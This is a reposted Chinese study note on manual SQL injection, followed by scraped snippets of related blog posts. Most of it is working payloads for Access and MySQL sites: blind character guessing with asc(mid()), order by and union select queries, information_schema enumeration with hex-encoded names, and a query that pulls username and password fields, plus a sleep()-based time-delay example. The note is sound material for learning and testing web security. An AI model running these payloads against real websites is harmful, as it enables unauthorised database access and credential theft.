SQL注入学习笔记

判断表明
(select Count(*) from admin)>=0

exists(select Count(*) from admin)

判断列明
exists(select user from admins)
and exists(select username from admin)>=0

猜解
判断字段长度 and (select top 1 len(id) from admin)>1 返回正常

猜解每个字节的asc码 and(select top 1 asc(mid(username,2,1))from admin)>99
asc码1-128 采用折中法

mid函数用于从文本中提取字符

mid[ 列名 ,开始位置,(字符数,可选)]
mid[admin , 1,1]admin列中第一个字符

top ()是指定显示的行
top 1显示第一行
top2显示前两行

first 显示该列的第一个记录的数据
SELECT FIRST(OrderPrice) AS FirstOrderPrice FROM admin

count用于显示指定列的行数
select count(*) from admin
查询admin表中的行数

as 可创建一个新列来显示结果
select count() as qqq from admin where id=1
输出结果为
qqq
2
意思是id=2的有两行

order by 报错猜解显示数据
1.先猜解字段数 asp?id=1 order by加一个数字猜
2.然后在猜那个能显示数字 asp? union select 1,2,3,..... from 表明 如果是php不用加表明,php得先猜表明
3.报错 asp? and 1=222 union select 1,2,3... from biao
4显示数据将报错的数字改成要查询的数据 unoin select 1,password,2 from biao

不同数据库注入

数据库层次
accesss数据库:
数据库
表名
列名
内容
mysql数据库5.0:
数据库

aaaa
表名
  列名
    内容
bbbb
  表名
    列名
      内容

assce数据库:暴力破解注入;
登陆页面审查元素。查看name元素有可能是列明
知道数据库路径是可以下载
后缀:mdb asa asp
数据库后缀名.asp依旧可以在服务器执行

mysql注入
mysql后缀myd myi frm
mysql是与网站目录分开,采用远程命令进行连接
mysql注入必需先猜解数据库名再猜解表明,mysql数据库名
mysql5.0以上默认存在information_schema存储所有数据库下面的表名和列名信息
information_schema.table是表明信息
information_schema.columns列明信息
table.schema 数据库名
table.name 表明
column.name 列明
group_concat(tanle.name)所有表明
mysql数据库操作
数据库版本 version()
数据库名 database()
数据库用户 user()
操作系统 @@version_compile_os
查询所有表明 php?id=1 and 1=22 union select 1,group_concat(tanle_name),3.,4 .。。。from information_schema.tables where table_schema=数据库名 数据库名需要16进制编码
选出可用表查询,查询所有列
select 1,group_concat(column_name),3.,4 .。。。from information_schema.columns where table.name=表名 表名需要16进制编码
直接猜解内容
select 1,列明,3.,4 .。。。from 表明

总结:
猜数据库名
database();
猜表明
and 1=2 union select 1,2,3,TABLE_NAME,5,6,7,8,9,10 from information_schema.TABLES where TABLE_SCHEMA=数据库(十六进制) limit 0(开始的记录,0为第一个开始记录),1(显示1条记录)—
and 1=2 union select 1,2,TABLE_NAME from information_schema.TABLES where TABLE_SCHEMA=0x61646D696E
猜列明
and 1=2 Union select 1,2,3,COLUMN_NAME,5,6,7,8,9,10 from information_schema.COLUMNS where TABLE_NAME=表名(十六进制)limit 0,1
猜密码
and 1=2 Union select 1,2,3,用户名段,5,6,7,密码段,8,9 from 表名 limit 0,1

原文地址:https://www.cnblogs.com/hatkids/p/8910170.html

时间: 2024-08-29 00:56:23

SQL注入学习笔记的相关文章

sql注入学习笔记(1)

把学习到的sql注入的一点知识记录下来 更改默认的sqlmap脱库保存的路径  --output-dir F:\ Substr(字符串,起始位置,字符数)   (初始为1不是0) 这里有示例 https://www.1keydata.com/cn/sql/sql-substring.php 通常配合ascii函数判断出字符的值ascii(substr((select database()),1,1))) > 100 二分法(又叫折半法)可以减少猜测的量 Length()   判断长度 AND (

Sql 注入 学习笔记

以下是MSDN Magazine 里面的一段文章: http://msdn.microsoft.com/zh-cn/magazine/cc163523.aspx 我很好奇这样到底能不能够注入SQL, 所以我建了个 console 程序 static void Main(string[] args) { SqlConnection conn new SqlConnection(); conn.Open(); string commandtext = "exec SetPassword 'admin

sql注入学习笔记4

延时注入,延时注入每种数据库都有不同的延时函数 and If(ascii(substr(database(),1,1))=105,1,sleep(5))--+ 这是mysql的延时注入,当ascii(substr(database(),1,1))=105为真时返回1,为假则执行sleep(5),将会有5秒的延时报错 重复执行指定操作的函数 BENCHMARK(count,expr)函数将表达式expr重复执行count次,然后返回执行时间.该函数可以用来判断MySQL处理表达式的速度. UNIO

SQL 2005 学习笔记

http://wenku.baidu.com/view/a99b3e8abb68a98271fefaed N 年的 SQL 2005 学习笔记

SQL Database学习笔记

1. linux下快速安装MariaDB: MariaDB 是 一个采用 Maria 存储引擎的  MySQL  分支版本,是由原来 MySQL 的作者 Michael Widenius 创办的公司所开发 的免费开源的数据库服务器 . 本文介绍了在linxu下一个简单的安装 方法(在OpenSuse下测试成功): (摘自:http://www.2cto.com/database/201307/229102.html) # tar zxvf mariadb-5.5.31-linux-x86_64.

SQL注入学习资料总结

转载自:https://bbs.ichunqiu.com/thread-12105-1-1.html  什么是SQL注入 SQL注入基本介绍 结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言.1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准.不过各种通行的数据库系统在其实践过程中都

DVWA 安装使用 & SQL注入学习心得(一)

DVWA 环境搭建和安装简易使用 下载安装phpstudy,这部分不用说了,肯定大家都有,或者安装过.在浏览器输入127.0.0.1,测试一下. 官网下载DVWA http://www.dvwa.co.uk ,解压后放在phpstudy的www目录下. 此时mysql的密码还是空,登录的时候会提示不能空,可以从phpstudy的界面[其他选项菜单]->[My SQL工具]->[重置密码]. 将DVWA/confing下的config.inc.php.dist修改为config.inc.php,

sql注入学习经验

本人是一名渗透新手,信息安全专业的学生一直在学习关于安全方面的理论学习,主要进行的是网站的搭建,但自从接触了web渗透之后才发现自己以前搭建的网站真是漏洞百出,从而也爱上了渗透的学习,今天就和大家分享一下我的学习成果,有什么不好的地方欢迎大家提意见! 今天主要是讲一讲sql注入,sql注入的原理和危害就不多说了,大家百度一下就可以了,给大家讲一讲我的实践经验. sql注入的方法(get参数)     说复杂了没用其实就两种,工具注入与手工注入 (一)选择网站是否能进行sql注入(一般使用火狐浏览

SQL 数据库 学习笔记

虽然学的慢,不过也需要一步一步地学. 学习笔记: 1. SQL语句大小写 不敏感 2. MySQL 需要分号; 3. 用过的命令: show databases: //显示有多少个数据库 create database first_lesson: //创建一个数据库 use first_lesson: //使用这个数据库 show tables: //显示有多少个表 describe person://显示表内的表头内容 insert into person values("dfd",